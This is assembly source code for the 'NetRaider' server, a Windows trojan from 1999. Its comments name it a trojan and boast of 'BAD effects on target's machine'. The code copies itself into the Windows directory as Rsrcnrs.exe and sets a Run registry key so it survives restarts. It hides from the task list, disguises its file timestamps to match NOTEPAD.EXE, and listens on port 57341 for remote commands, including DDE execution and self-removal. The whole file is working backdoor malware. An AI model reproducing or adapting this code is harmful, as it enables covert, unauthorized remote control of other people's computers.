;
; NetRaider Project - 1999 \sPIRIT\ -s0ftpr0ject 99-
;
; FILE: netserv.asm - NetRaider Server
;
; MISC INFO:
; 
; TROJAN EXE FILE: WINDOWSDIR\Rsrcnrs.exe
; TROJAN REG. KEY: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rsrcnrs
;

.386
.model flat,STDCALL


; --- standard equates and functions prototypes

include          windows.inc
include          kernel32.inc
include          user32.inc
include          wsock32.inc
include          advapi32.inc
include          shell32.inc

WinMain          PROTO :DWORD,:DWORD,:DWORD,:SDWORD
StrLen           PROTO :DWORD
StrCmp           PROTO :DWORD,:DWORD,:DWORD
OpenSocket       PROTO
ShutdownSocket   PROTO :DWORD
ClearBuffer      PROTO :DWORD,:DWORD
ProcessIncoming  PROTO 

; Prototypes for all the server BAD effects on target's machine :)

nsRemoveServer   PROTO 
nsMessageBox     PROTO :DWORD
nsDDEExecute     PROTO :DWORD


; --- in-link time libraries

includelib       kernel32.lib
includelib       user32.lib
includelib       wsock32.lib
includelib       advapi32.lib
includelib       shell32.lib

L                EQU <LARGE>
WM_LISTSOCKET    EQU WM_USER + 300

NRPacket         STRUCT
  nrHeader       db         "NRP-"
  nrFCode        dd         ?
  nrPacketSeqNR  dd         ?
  nrPacketInSeq  dd         ?
  nrLenData      dd         ?
;  nrDataCRC32    dd         ?                  ; CRC32 IS NOT IMPLEMENTED AT THIS POINT
  nrPointData    dd         ?
  nrTail         dd         ?
NRPacket         ENDS

; --- uninitialized data

.DATA?

hInstance        HINSTANCE   ?
CommandLine      LPSTR       ?

stealthFileInfo  FILETIME    <?>

hNETSERVERkey    dd          ?                 ; Handle of reg. key        
regKeyDim        dd          ?                 ; Size of reg. key
hNSexecKey       dd          ?                 ; Handle of reg. key containing execution information

hServer          dd          ?                 ; handle of server file
hFile4date       dd          ?                 ; handle of stealth file for the date

wsadata          WSADATA     <>                ; WINSOCK STRUCTURE
sin              sockaddr_in <?>               ; WINSOCK STRUCTURE

; Incoming data informations and handlers

hMemory          dd          ?
offsetBuffer     dd          ?
availableData    dd          ?

hDataMem         dd          ?
offsetData       dd          ?

reqOperation     dd          ?
totalPackets     dd          ?
currentPacket    dd          ?
inSendBuffer     dd          ?

hDlg             dd          ?                 ; Handle for dialog control

; --- initialized data

.DATA

getDLLHandle     db          "kernel32",0      ; RegisterServiceProcess is in KERNEL32.DLL
reqAPIProcedure  db          "RegisterServiceProcess",0

serverLISTENPORT dd          57341             ; PORT USED BY SERVER (=steal :)
socketDESCRIPTOR DD          0                 ; Descriptor of opened socket
remoteDESCRIPTOR dd          0

clientID         db          "NSClient-sPISPJ99"
cIDLEN           dd          $-clientID
serverID         db          "NSServer-sPISPJ99"
sIDLEN           dd          $-serverID

packet           NRPacket    <>                ; basic NetRaider packet definition
packetHEAD       db          "NRP-"
packetENDSEQ     db          "-ENP"
packetNEXTSEQ    db          "-SEQ"

packetBUFFER     db          1024+24 dup(0)

isReliable       dd          FALSE             ; if TRUE we are connected to a good client/server
receiveLOCK      dd          FALSE
fConn            dd          FALSE
isHandshake      dd          FALSE

ClassName        db          "Nrs",0       ; WC structure.Class Name

ExecutableName   db          "Rsrcnrs.exe",0   ; Trojan executable name
ExecutableLength dd          $-ExecutableName
InstallExePATH   db          MAX_PATH dup(0)
WinBASEDIR       db          MAX_PATH dup(0)   ; Windows Installation dir (no zero-term.)
stealthFileName  db          "NOTEPAD.EXE", 0  ; retrieve date from this file
stealthFileLen   dd          $-stealthFileName
stealthFilePath  db          240      dup(0)   ; path of stealth file

regKeyPosition   db          "Software\Microsoft\Windows\CurrentVersion\Run", 0
regKeyValue      db          240      dup(0)
regKeyName       db          "Rsrcnrs", 0

; --- Strings

MsgboxCaption    db          "Notice", 0


; --- NetRaider Server code

.CODE

netserver_start: INVOKE  GetModuleHandle, NULL
                 mov     hInstance, eax
 
                 INVOKE  FindWindowEx, NULL, NULL, OFFSET ClassName, OFFSET ClassName
                 .IF eax!=NULL
                     INVOKE  ExitProcess, NULL
                 .ENDIF
                
                 ; let's hide it from task list!

                 INVOKE  GetModuleHandle, ADDR getDLLHandle
                 INVOKE  GetProcAddress, eax, ADDR reqAPIProcedure
                 push    00000001             ; = SIMPLE SERVICE registration
                 push    NULL
                 call    eax
                 add     esp,8
 
                 INVOKE  RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR regKeyPosition, 0, 00020029h, ADDR hNETSERVERkey
                 .IF eax!=ERROR_SUCCESS
                     INVOKE  ExitProcess, NULL

                 .ELSE

                      INVOKE  RegQueryValueEx, hNETSERVERkey, ADDR regKeyName, NULL, REG_NONE, NULL, ADDR regKeyDim
                      .IF eax!=ERROR_SUCCESS

                          ; Install into system                        

                          INVOKE  GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH
            
                          INVOKE  StrLen, ADDR WinBASEDIR
                        
                          mov     edi, OFFSET regKeyValue
                          mov     esi, OFFSET WinBASEDIR
                          mov     ecx, eax
                          rep     movsb
                          mov     al,'\'
                          stosb
                          mov     esi, OFFSET ExecutableName
                          mov     ecx, ExecutableLength
                          rep     movsb

                          INVOKE  GetCommandLine
                          mov     CommandLine, eax
                          
                          INVOKE  StrLen, CommandLine
                          mov     edi, OFFSET InstallExePATH
                          mov     esi, CommandLine
                          inc     esi
                          mov     ecx, eax
                          sub     ecx,3
                          rep     movsb
                          
                          INVOKE  CopyFile, ADDR InstallExePATH, ADDR regKeyValue, FALSE

                          ;set the file time to something unnoticeable (-> SAME AS NOTEPAD.EXE)

                          INVOKE  GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH
                          INVOKE  StrLen, ADDR WinBASEDIR

                          mov     edi, OFFSET stealthFilePath
                          mov     esi, OFFSET WinBASEDIR
                          mov     ecx, eax
                          rep     movsb
                          mov     al,'\'
                          stosb
                          mov     esi, OFFSET stealthFileName
                          mov     ecx, stealthFileLen
                          rep     movsb

                          INVOKE  CreateFile, ADDR stealthFilePath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
                          .IF eax!=INVALID_HANDLE_VALUE 
                              mov     hFile4date, eax
                              INVOKE  GetFileTime, hFile4date, ADDR stealthFileInfo, NULL, NULL
                              INVOKE  CloseHandle, hFile4date
                              INVOKE  CreateFile, ADDR regKeyValue, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
                              mov     hServer, eax
                              INVOKE  SetFileTime, hServer, ADDR stealthFileInfo, ADDR stealthFileInfo, ADDR stealthFileInfo
                              INVOKE  CloseHandle, hServer
                          .ENDIF

                          INVOKE  StrLen, ADDR InstallExePATH
                          inc     eax
                          INVOKE  RegSetValueEx, hNETSERVERkey, ADDR regKeyName, 0, REG_SZ, ADDR regKeyValue, eax

                          INVOKE  ShellExecute, NULL, NULL, ADDR regKeyValue, NULL, NULL, NULL                          

                          INVOKE  ExitProcess, NULL

                       .ENDIF            

                 .ENDIF

                 INVOKE  WinMain, hInstance, NULL, CommandLine, SW_HIDE
                 INVOKE  ExitProcess, NULL

WinMain          PROC    hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:SDWORD

                 LOCAL   wc:WNDCLASSEX 
                 LOCAL   msg:MSG 
                 LOCAL   hwnd:HWND

                 mov     wc.cbSize, SIZEOF WNDCLASSEX
                 mov     wc.style, CS_HREDRAW + CS_VREDRAW 
                 mov     wc.lpfnWndProc, OFFSET NetServer_MAIN
                 mov     wc.cbClsExtra, NULL 
                 mov     wc.cbWndExtra, NULL
                 push    hInstance 
                 pop     wc.hInstance 
                 mov     wc.hbrBackground, COLOR_BTNFACE+1
                 mov     wc.lpszMenuName, NULL 
                 mov     wc.lpszClassName, OFFSET ClassName 
                 INVOKE  LoadIcon, NULL, IDI_APPLICATION 
                 mov     wc.hIcon, eax
                 mov     wc.hIconSm, 0 
                 INVOKE  LoadCursor, NULL, IDC_ARROW 
                 mov     wc.hCursor, eax 
                 INVOKE  RegisterClassEx, ADDR wc     

                 INVOKE  CreateWindowEx, NULL, ADDR ClassName, ADDR ClassName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInst, NULL
                 mov     hDlg, eax

                 INVOKE  ShowWindow, hDlg, CmdShow 
                 INVOKE  UpdateWindow, hDlg               

                 INVOKE  OpenSocket
                 .IF eax==0
                     mov     fConn, FALSE
                 .ELSE
                      mov     socketDESCRIPTOR, eax
                      INVOKE  WSAAsyncSelect, socketDESCRIPTOR, hDlg, WM_LISTSOCKET, FD_ACCEPT + FD_READ + FD_CLOSE
                      INVOKE  bind, socketDESCRIPTOR, ADDR sin, 16
                      INVOKE  listen, socketDESCRIPTOR, 2
                      mov     fConn, TRUE
                 .ENDIF
                
                 .WHILE TRUE
                        INVOKE  GetMessage, ADDR msg, NULL, 0, 0 
                        .BREAK .IF eax==FALSE
                                   INVOKE  IsDialogMessage, hDlg, ADDR msg
                                   .IF eax==FALSE
                                       INVOKE  TranslateMessage, ADDR msg 
                                       INVOKE  DispatchMessage, ADDR msg 
                                   .ENDIF
                 .ENDW 

                 .IF fConn==TRUE
                     INVOKE  ShutdownSocket, socketDESCRIPTOR 
                     mov     fConn, FALSE
                 .ENDIF 

                 ret

WinMain          ENDP

NetServer_MAIN   PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

                 mov     eax, uMsg                                             

                 .IF eax==WM_LISTSOCKET
                     mov     eax, lParam

                     .IF ax==FD_READ
                         INVOKE  ProcessIncoming

                     .ELSEIF ax==FD_ACCEPT
                             INVOKE  accept, socketDESCRIPTOR, NULL, NULL
                             mov     remoteDESCRIPTOR, eax
                             mov     isHandshake, TRUE
                             mov     receiveLOCK, FALSE

                     .ELSEIF ax==FD_CLOSE
                             .IF fConn==TRUE
                                 INVOKE  ShutdownSocket, socketDESCRIPTOR
                                 INVOKE  OpenSocket
                                 .IF eax==0
                                     mov     fConn, FALSE
                                 .ELSE
                                      mov     socketDESCRIPTOR, eax
                                      INVOKE  WSAAsyncSelect, socketDESCRIPTOR, hDlg, WM_LISTSOCKET, FD_ACCEPT + FD_READ + FD_CLOSE
                                      INVOKE  bind, socketDESCRIPTOR, ADDR sin, 16
                                      INVOKE  listen, socketDESCRIPTOR, 2
                                 .ENDIF
                              .ENDIF
                     .ENDIF

                 .ELSE
                      INVOKE  DefWindowProc, hWnd, uMsg, wParam, lParam
                      ret       
                 .ENDIF 

                 ret

NetServer_MAIN   ENDP
 

ProcessIncoming   PROC

                  .IF isHandshake==TRUE

                      INVOKE  ioctlsocket, remoteDESCRIPTOR, FIONREAD, ADDR availableData
                      .IF eax==NULL
                          INVOKE  GlobalAlloc, GHND, availableData
                          mov     hMemory, eax
                          INVOKE  GlobalLock, eax
                          mov     offsetBuffer, eax
                
                          INVOKE  recv, remoteDESCRIPTOR, offsetBuffer, availableData, 0
                          INVOKE  StrCmp, ADDR clientID, offsetBuffer, cIDLEN
                          .IF eax==TRUE
                              mov     isReliable, TRUE
                              mov     isHandshake, FALSE

                              INVOKE  send, remoteDESCRIPTOR, ADDR serverID, sIDLEN, 0
                              .IF eax==0 || eax==SOCKET_ERROR
                                  mov     eax, FALSE
                              .ELSE
                                   mov     eax, TRUE
                              .ENDIF
  
                              .IF eax==FALSE
                                  INVOKE  ShutdownSocket, socketDESCRIPTOR                                    
                                  INVOKE  OpenSocket
                                  .IF eax==0
                                      mov     fConn, FALSE
                                  .ELSE
                                       mov     socketDESCRIPTOR, eax
                                       INVOKE  WSAAsyncSelect, socketDESCRIPTOR, hDlg, WM_LISTSOCKET, FD_ACCEPT + FD_READ + FD_CLOSE
                                       INVOKE  bind, socketDESCRIPTOR, ADDR sin, 16
                                       INVOKE  listen, socketDESCRIPTOR, 2
                                       mov     fConn, TRUE
                                  .ENDIF                                                
                              .ENDIF

                           .ELSE
                                INVOKE  ShutdownSocket, socketDESCRIPTOR
                                INVOKE  OpenSocket
                                .IF eax==0
                                    mov     fConn, FALSE
                                .ELSE
                                     mov     socketDESCRIPTOR, eax
                                     INVOKE  WSAAsyncSelect, socketDESCRIPTOR, hDlg, WM_LISTSOCKET, FD_ACCEPT + FD_READ + FD_CLOSE
                                     INVOKE  bind, socketDESCRIPTOR, ADDR sin, 16
                                     INVOKE  listen, socketDESCRIPTOR, 2
                                     mov     fConn, TRUE
                                .ENDIF                                                

                            mov     isHandshake, FALSE
                            mov     receiveLOCK, FALSE
                           .ENDIF

                           INVOKE  GlobalUnlock, offsetBuffer
                           INVOKE  GlobalFree, hMemory
                           ret
                      .ENDIF                  
                  .ENDIF

                  .IF isReliable==TRUE
                      INVOKE  ioctlsocket, remoteDESCRIPTOR, FIONREAD, ADDR availableData
                      .IF eax==NULL
                          .IF availableData<=1048
                              INVOKE  recv, remoteDESCRIPTOR, ADDR packetBUFFER, availableData, 0
                          .ELSE
                               INVOKE  recv, remoteDESCRIPTOR, ADDR packetBUFFER, 1048, 0                           
                          .ENDIF

                          ; controllo header

                          INVOKE  StrCmp, ADDR packetHEAD, ADDR packetBUFFER, 4
                          .IF eax==TRUE
 
                              ; get function code
                               
                              mov     esi, OFFSET packetBUFFER
                              add     esi, 4
                              lodsd   

                              push    eax

                              .IF receiveLOCK==FALSE
                                  mov     reqOperation, eax

                                  mov     currentPacket, 0
                               
                                  ; get total packets number & alloc buffer

                                  mov     esi, OFFSET packetBUFFER
                                  add     esi, 12
                                  lodsd

                                  mov     totalPackets, eax
                                  shl     eax, 10

                                  INVOKE  GlobalAlloc, GHND, eax
                                  mov     hMemory, eax
                                  INVOKE  GlobalLock, eax
                                  mov     offsetBuffer, eax
                                  mov     receiveLOCK, TRUE
                              .ENDIF

                              pop     eax
                      
                              .IF eax==reqOperation
                                  inc     currentPacket

                                  ; get data length & copy data into buffer

                                  mov     esi, OFFSET packetBUFFER
                                  add     esi, 16
                                  lodsd
                                  mov     ebx, currentPacket
                                  dec     ebx
                                  shl     ebx, 10
                                  mov     edi, offsetBuffer
                                  add     edi, ebx
                                  mov     ecx, eax
                                  rep     movsb
                                                                                                      
                                  mov     eax, currentPacket
                                  .IF eax==totalPackets  
                                      
                                      ; processo funzioni, dealloco buffers, receiveLOCK==FALSE

                                     .IF reqOperation==00000000h
                                         INVOKE  nsRemoveServer

                                     .ELSEIF reqOperation==00000001h
                                             INVOKE  nsMessageBox, offsetBuffer

                                     .ELSEIF reqOperation==00000002h
                                             INVOKE  nsDDEExecute, offsetBuffer

                                     .ENDIF

                                     ; dealloco buffers

                                     INVOKE  GlobalUnlock, offsetBuffer
                                     INVOKE  GlobalFree, hMemory

                                     mov    receiveLOCK, FALSE

                                  .ENDIF          
                              .ENDIF 
                          .ENDIF
                      .ENDIF
                  .ENDIF   

                  INVOKE  ClearBuffer, ADDR packetBUFFER, 1024+24

                  ret
ProcessIncoming   ENDP


; --- Functions includes

include           sendrecv.inc        ; Send/receive stuff
include           servop.inc          ; All the nice stuff a server can do :)
include           socketop.inc        ; Open/Close socket and misc.
include           stringop.inc        ; Operations on strings

                  END netserver_start
